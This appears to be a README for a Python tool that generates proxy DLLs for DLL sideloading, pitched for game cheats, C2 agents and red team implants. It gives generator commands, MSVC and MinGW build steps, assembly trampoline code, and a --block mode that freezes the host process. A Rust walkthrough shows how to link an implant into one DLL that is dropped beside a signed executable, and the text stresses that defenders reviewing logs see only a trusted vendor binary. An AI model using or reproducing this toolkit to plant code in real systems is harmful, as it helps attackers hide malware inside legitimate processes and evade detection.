DLL sideloading lets your code — whether it's a game cheat, C2 agent, or red team implant — execute inside a legitimate, signed process. To a defender triaging alerts or reviewing logs, the running .exe looks completely benign: it's a trusted vendor binary with a valid signature. Your payload is just along for the ride as a DLL it was going to load anyway.
This framework automates the tedious part: analyzing the target DLL's exports, generating the proxy code that forwards every function call to the original, and giving you a clean slot for your payload. Pick a hijackable DLL, run one command, drop in your code, build.
Generate proxy DLL projects for DLL sideloading and hijacking research. Point it at a DLL, get a ready-to-compile project that mirrors all exports and forwards them to the original — with a slot for your payload code.
- Pick a target DLL (e.g. from hijacklibs.net)
- Run the generator
- Edit
payload.cwith your loader code - Build with MSVC or MinGW
- Deploy
python generate.py C:\Windows\System32\version.dll --payload --embed --block
- Export mirroring — Analyzes PE export table and generates assembly trampolines (
jmp [ptr]) that transparently forward all calls to the original DLL. Handles named exports, ordinal-only exports, forwarded exports, and C++ mangled names. - Embed mode (
--embed) — Bakes the original DLL as a PE resource. At load time it extracts to%TEMP%and loads it. No need to ship a second DLL file. - Payload thread (
--payload) — Generates apayload.ctemplate. Your code runs in a separate thread after all exports are resolved. - Block mode (
--block) — Suspends the main thread so the process can't exit before your payload finishes. Uses a two-layer approach: primary suspend + atexit fallback. No loader lock issues. - Dual compiler support — Generates both MSVC (
.asm+build_msvc.bat) and MinGW (.S+Makefile) build files. - Both architectures — x86 and x64, auto-detected from the input DLL.
pip install -r requirements.txt
Requires Python 3.10+ and either Visual Studio (MSVC) or MinGW-w64 for building.
python generate.py <dll_path> [options]
Options:
-o, --output DIR Output directory (default: ./output/<name>_proxy/)
--embed Embed original DLL as a PE resource
--payload Include payload thread template
--block Block process exit until payload finishes (implies --payload)
--compiler {msvc,gcc,both} Target compiler (default: both)
--arch {x86,x64,auto} Target architecture (default: auto-detect)
--original-name NAME Runtime filename for original DLL (non-embed mode)
-v, --verbose Show all exports and generated files
--dry-run Show what would be generated without writing
Minimal proxy (no payload, load original from disk):
python generate.py C:\Windows\System32\version.dll
Full sideloading setup with embedded DLL and blocking payload:
python generate.py C:\Windows\System32\version.dll --payload --embed --block
MSVC-only, verbose:
python generate.py C:\Windows\System32\dbghelp.dll --payload --compiler msvc -v
version_proxy/
├── proxy.c # DllMain, function pointer table, init/cleanup
├── proxy.h # Exported function pointer declarations
├── exports.def # Module definition file (maps exports to trampolines)
├── trampolines.asm # MSVC MASM — one jmp [ptr] per export
├── trampolines.S # MinGW GAS — same, AT&T/Intel syntax
├── payload.c # Your code goes here
├── payload.h # Payload thread declaration
├── resource.rc # Embedded DLL resource (--embed)
├── resource.h # Resource IDs
├── original_version.dll # Copy of original DLL (--embed)
├── build_msvc.bat # Build with cl.exe + ml64.exe
└── Makefile # Build with gcc + as
MSVC — open a Developer Command Prompt:
cd output\version_proxy
build_msvc.bat
MinGW:
cd output\version_proxy
mingw32-make
Each export becomes an assembly trampoline that jumps through a function pointer:
; x64 MASM
proxy_GetFileVersionInfoA PROC
jmp QWORD PTR [fp_GetFileVersionInfoA]
proxy_GetFileVersionInfoA ENDPThe .def file maps the original export name to the trampoline label:
GetFileVersionInfoA = proxy_GetFileVersionInfoA @1
At DLL_PROCESS_ATTACH, the original DLL is loaded and all function pointers are resolved via GetProcAddress. Calls flow through transparently — no register clobbering, no calling convention issues.
When the host process would exit immediately (e.g. printing --help), --block keeps it alive:
- Primary: The payload thread suspends the main thread (after loader lock releases). Main is frozen before it can reach
main()orExitProcess. Payload runs, then callsExitProcess(0). - Fallback: If main wins the race,
atexithandler blocks until the payload signals completion.
Both paths are deadlock-free — no loader lock involvement.
A test suite verifies all mode combinations against version.dll for both compilers. Requires a Developer Command Prompt (MSVC). GCC tests run automatically if gcc and mingw32-make are on PATH.
cd test
run_tests.bat
This generates proxies, builds them, and runs a test host (test_host.c) that loads the proxy DLL, calls GetFileVersionInfoSizeA, and exits immediately. The tests verify:
| Test | Compiler | Mode | Verifies |
|---|---|---|---|
| 1 | MSVC | --embed --payload |
Embedded DLL extraction + export forwarding |
| 2 | MSVC | --embed --payload --block |
Block mode keeps process alive, payload completes |
| 3 | MSVC | --payload |
Side-by-side DLL loading + export forwarding |
| 4 | MSVC | --payload --block |
Block mode without embedding |
| 5 | GCC | --embed --payload |
GCC embedded DLL extraction + forwarding |
| 6 | GCC | --embed --payload --block |
GCC block mode with embedding |
| 7 | GCC | --payload |
GCC side-by-side loading + forwarding |
| 8 | GCC | --payload --block |
GCC block mode without embedding |
Expected output:
============================================================
DLL Proxy Framework - Test Suite
============================================================
[*] Compiling test host...
[+] test_host.exe ready
[*] MinGW detected - GCC tests enabled
[TEST 1/MSVC] --embed --payload
------------------------------------------------------------
[+] PASS: MSVC embed forwarding works
[TEST 2/MSVC] --embed --payload --block
------------------------------------------------------------
[+] PASS: MSVC embed + block works
[TEST 3/MSVC] --payload (no embed, no block)
------------------------------------------------------------
[+] PASS: MSVC non-embed forwarding works
[TEST 4/MSVC] --payload --block (no embed)
------------------------------------------------------------
[+] PASS: MSVC non-embed + block works
[TEST 5/GCC] --embed --payload
------------------------------------------------------------
[+] PASS: GCC embed forwarding works
[TEST 6/GCC] --embed --payload --block
------------------------------------------------------------
[+] PASS: GCC embed + block works
[TEST 7/GCC] --payload (no embed, no block)
------------------------------------------------------------
[+] PASS: GCC non-embed forwarding works
[TEST 8/GCC] --payload --block (no embed)
------------------------------------------------------------
[+] PASS: GCC non-embed + block works
============================================================
Results: 8 passed, 0 failed
============================================================
If you already have a project written in Rust (a cheat, agent, implant, etc.), you can statically link it into the proxy DLL. The result is a single .dll file — your Rust code runs inside the hijacked process with no extra files dropped to disk.
In your Rust project's Cargo.toml, set the crate type to staticlib:
[lib]
crate-type = ["staticlib"]Expose an entry point with C linkage:
// src/lib.rs
use std::fs;
use std::io::Write;
#[unsafe(no_mangle)]
pub extern "C" fn cheat_main() {
// your cheat / implant / agent logic here
// this runs in its own thread inside the hijacked process
let pid = std::process::id();
let msg = format!("Cheat running in PID {}\n", pid);
if let Ok(mut f) = fs::File::create("proof.txt") {
let _ = f.write_all(msg.as_bytes());
}
}Note: Rust 2024 edition requires
#[unsafe(no_mangle)]. For older editions use#[no_mangle].
Build it:
cargo build --release
This produces target\release\your_crate.lib.
python generate.py C:\Windows\System32\version.dll --payload --embed --block
Replace the generated payload.c with:
#include "payload.h"
extern void cheat_main(void);
DWORD WINAPI payload_main(LPVOID lpParam) {
(void)lpParam;
cheat_main();
return 0;
}MSVC — edit build_msvc.bat, add the .lib and its dependencies to the link line:
cl /nologo /LD ^
proxy.c payload.c trampolines.obj resource.res ^
/link /DEF:exports.def /OUT:version.dll ^
C:\path\to\your_crate.lib ^
kernel32.lib user32.lib ws2_32.lib advapi32.lib userenv.lib ^
ntdll.lib bcrypt.lib msvcrt.libThe extra system libs (
ws2_32,advapi32,userenv,bcrypt, etc.) are pulled in by the Rust standard library. If you get unresolved symbols at link time, add the missing lib — the linker error will tell you which one.
MinGW — edit the Makefile:
RUSTLIB = /path/to/your_crate.lib
$(TARGET): $(OBJECTS)
$(CC) $(CFLAGS) -o $@ $^ $(DEF) $(RUSTLIB) -lkernel32 -luser32 -lws2_32 -ladvapi32 -luserenv -lbcrypt -lntdllbuild_msvc.bat
The output version.dll is a single file containing:
- The proxy export table (forwards all calls to the embedded original)
- The embedded original
version.dll(extracted at runtime) - Your entire Rust cheat, statically linked in
Drop it next to the target .exe. When the process starts, it loads your proxy as version.dll, all API calls work normally, and your Rust code runs in a separate thread — inside a legitimate signed process.
target_app/
├── legit_signed_app.exe # Trusted binary that loads version.dll
└── version.dll # Your proxy (contains original + your Rust code)
That's it. One file. The .exe in the logs is a signed vendor binary.
Without --embed, the proxy loads the original DLL from disk at runtime. Rename the original and place it alongside the proxy:
target_app/
├── version.dll # Your proxy
├── original_version.dll # The real DLL (renamed)
└── app.exe # Host application
MIT